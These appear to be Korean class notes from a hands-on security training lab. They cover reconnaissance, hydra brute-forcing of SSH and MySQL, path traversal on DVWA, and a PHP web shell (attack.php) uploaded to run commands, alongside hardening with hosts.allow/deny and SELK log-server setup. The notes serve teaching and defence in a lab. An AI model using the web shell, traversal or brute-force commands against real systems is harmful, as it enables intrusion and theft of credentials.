DAY15
DAY15

외부 접근 차단

/etc/hosts.allow
/etc/hosts.deny
/etc/profile
/etc/bashrc
~/.bash_profile
~/.bashrc등의 명령어를 응용한다.

하드디스크 사용(교재 357p.)

*네트워크 정보수집
-> 서버 로그에는 남지 않으나 공격의 시작을 알 수 있으므로 가능하면 확인하는 것이 좋다.
ping st.kr
nslookup st.kr
traceroute st.kr
nmap -
dnsenum st.kr
nikto등의 명령어를 응용한다.

Bootstrap Example

미션1: 시스템 사용자를 찾아라

ssh 125.246.95.152 (-> kali로 접속하겠다~상대가 kali 없으면 접속이 안된다.)
사용자를 찾아서 접속하면 수월해진다.

ubuntu는 루트 접속 불가능(대부분 취약하지 않도록 접속 불가 설정이 되어있다.)
루트 접속 가능 여부 확인해보기
sudo nano /etc/ssh/sshd_config
#Authentication:
#PermitRootLogin prohibit-password (루트 접속 안되게 막아둠)

=> 따라서 해커는 루트로 들어갈 수 있는 일반 계정을 찾으려고 할 것이다.

[kali]
cat users.txt
cat passwd.txt

cd /home/kali
hydra -L user.txt -P passwd.txt st.kr ssh
    user.txt, passwd.txt 수정

ssh master@st.kr

adduser word
adduser dvwa
adduser web1
adduser web2

위처럼 생성시 cat /etc/passwd 에 유저 저장됨(루트 권한 확인 가능)

Bootstrap Example

웹에서만 utm 접속이 안되는 오류

해결: hosting.conf에 deny 설정되어 있으면 웹 연결이 안됨 ㅠㅠ
꼭 #로 풀어주기
cd /etc/apache2/sites-available/hosting.conf
#< Directory /var/www/html/>
#    Options
#    AllowOverride
#    Order by
#    Allow from all
#    Deny from 100.100.100.1
#< /Directory>


Bootstrap Example

dvwa.st.kr 학습

security level > low

command injection
    왼쪽 하단에 low 확인

-----------------------------------------------------
예시사례 : KISC 자체 개발 홈페이지의 취약점을 이용한 변조사고 분석
get
bshell등을 사용한 사례

취약점1
php.ini "allow_url_fopen=on"으로 설정
취약점2
awstat.pl에 존재하는 취약점 이용
백도어?

변조된 이후로 전체 시스템 로그가 삭제되어 있어 시스템 로그에서 특이점 발견 불가능했다.
=> 로그관리의 중요성
-----------------------------------------------------

su dvwa
cd public_html
cd vulnerabilities
cd fi
ls
file1,2,3,4 확인

cd .. 을 몇 번 해야 etc에 도달하는지 확인
5번
../../../../..//etc/passwd


3. file upload 공격

cd /home/kali
nano attack.php
kali
< ?php
    $cmd = $_GET["cmd"];
    $result =system($cmd);
    echo "< br>";
    echo "< hr>";
    echo $result;
?>

file upload > browse > /home/attack.php 선택

*쓰기권한 주기
cd home/dvwa/public_html/hackable/uploads
chmod 777 uploads
cd home/dvwa/public_html/config
chmod 777 config

업로드 위치 확인후 접속해보기
http://dvwa.st.kr/hackable/uploads/ 연결됨

=> http://dvwa.st.kr/hackable/uploads/attack.php?cmd=cat /etc/passwd 실행

1. 관리자 ip만 접근하도록 설정하자
(allow > deny 순서로 설정!!)
nano /etc/hosts.allow
    sshd : 192.168.0.214
nano /etc/hosts.deny
    ALL : ALL

=> ssh 125.246.95.152 연결 안됨!! (ssh는 가능한 접근 못하도록 설정해야 안전)

2. 포트 번호를 바꾸자
ssh 번호를 변경
nano /etc/ssh/sshd_config

Bootstrap Example

미션2: ssh 접속 대신 mysql로 접속하라!

위 네트워크 정보수집과 사용자 찾기가 끝난 것으로 간주하고 진행한다.

ping 125.246.95.152
nslookup st.kr
hydra -L user.txt -P passwd.txt st.kr mysql
    오류1. 대량접속 차단 해제하기
       mysqladmin -u root -p flush-hosts
    오류2. 인증 오류
       kali 2023으로 다운그레이드
mysql -h st.kr -u dvwa -p (123456)

Bootstrap Example

selk3 설정

[selk] 아이피 10.0.2.3 설정
nano /etc/netplan/50-cloud-init.yaml *
network:
  version: 2
  ethernets:
    enp0s3:
       dhcp4: no
       addresses: [10.0.2.3/24] (맘대로)
       gateway4: 10.0.2.2 (utm)
       nameservers:
          addresses: [10.0.2.15] (도메인=네임서버)
sudo netplan apply

cat /etc/*release* (버전확인 24.10)

버전 22로 다운그레이드 하고 selk 재설치하기(DAY13)
추가 설치내용
sudo apt -y install default-jre
sudo apt -y install default-jdk
sudo apt -y install nginx

curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt -y install elasticsearch
    /etc/elasticsearch/elasticsearch.yml

sudo systemctl start elasticsearch
sudo systemctl enable elasticsearch
curl -X GET "localhost:9200"

sudo apt -y install kibana
sudo systemctl start kibana
sudo systemctl enable kibana

*syslog 데이터베이스 설정
로그를 데이터베이스로 볼 수 있도록 해보자

mysql
show Syslog;
use Syslog;
show tables;
select * from SystemEvents;
select FromHost,Message from SystemEvents limit 0, 10;

[3server]
nano /etc/rsyslog.d/50-default.conf
    target="10.0.2.3"으로 변경
netstat -ant | grep 514
    10.0.2.15와 10.0.2.3:514 ESTABLISHED면 연결된 것
systemctl restart rsyslog

Bootstrap Example

win7 워크벤치 접속

[WIN7]
MYSQL 워크벤치
    [10.0.2.3]
    172.16.0.1 >오른쪽 마우스 > SERVER connections 수정
    10.0.2.3/rslslog/Syslog/123456
    => 원래 db는 외부접속이 허용이 안돼있으므로 연결이 안됨
    db를 열려면 2단계를 거쳐야함
    [selk]
    1. 데이터베이스에 아이피 설정해주기
    mysql
    create database rsyslog;
    create user rsyslog@'192.168.0.3' identified by '123456';
    grant all on Syslog. * to rsyslog@'192.168.0.3';
    flush privileges;

    mysql
    create database rsyslog;
    create user rsyslog@'%' identified by '123456';
    grant all on Syslog. * to rsyslog@'%';
    flush privileges;
    2. nano /etc/mysql/mariadb.conf.d/50-server.cnf
       127.0.0.1 수정 > 0.0.0.0
    systemctl restart mysql

    => 워크벤치 연결됨

    [10.0.2.15]
    위와 동일하게 설정

    경로
    nano /etc/mysql/mysql.conf.d/mysqld.cnf
    127.0.0.1 수정 > 0.0.0.0
    127.0.0.1 수정 > 0.0.0.0

아이피를 %로 해두면 취약해지므로 지양

ln -sf /usr/share/zoneinfo/Asia/Seoul /etc/localtime(로컬시간설정)

[win7]
관리자서버 고정ip할당
192.168.0.3
255.255.255.0
192.168.0.254
10.0.2.15

[kali] cd /home/kali
hydra -L user.txt -P passwd.txt st.kr mysql
    user.txt 수정

utm 방화벽 포트 열기

nano /etc/hosts.allow
    sshd : 192.168.0.3

select host,db,user from db;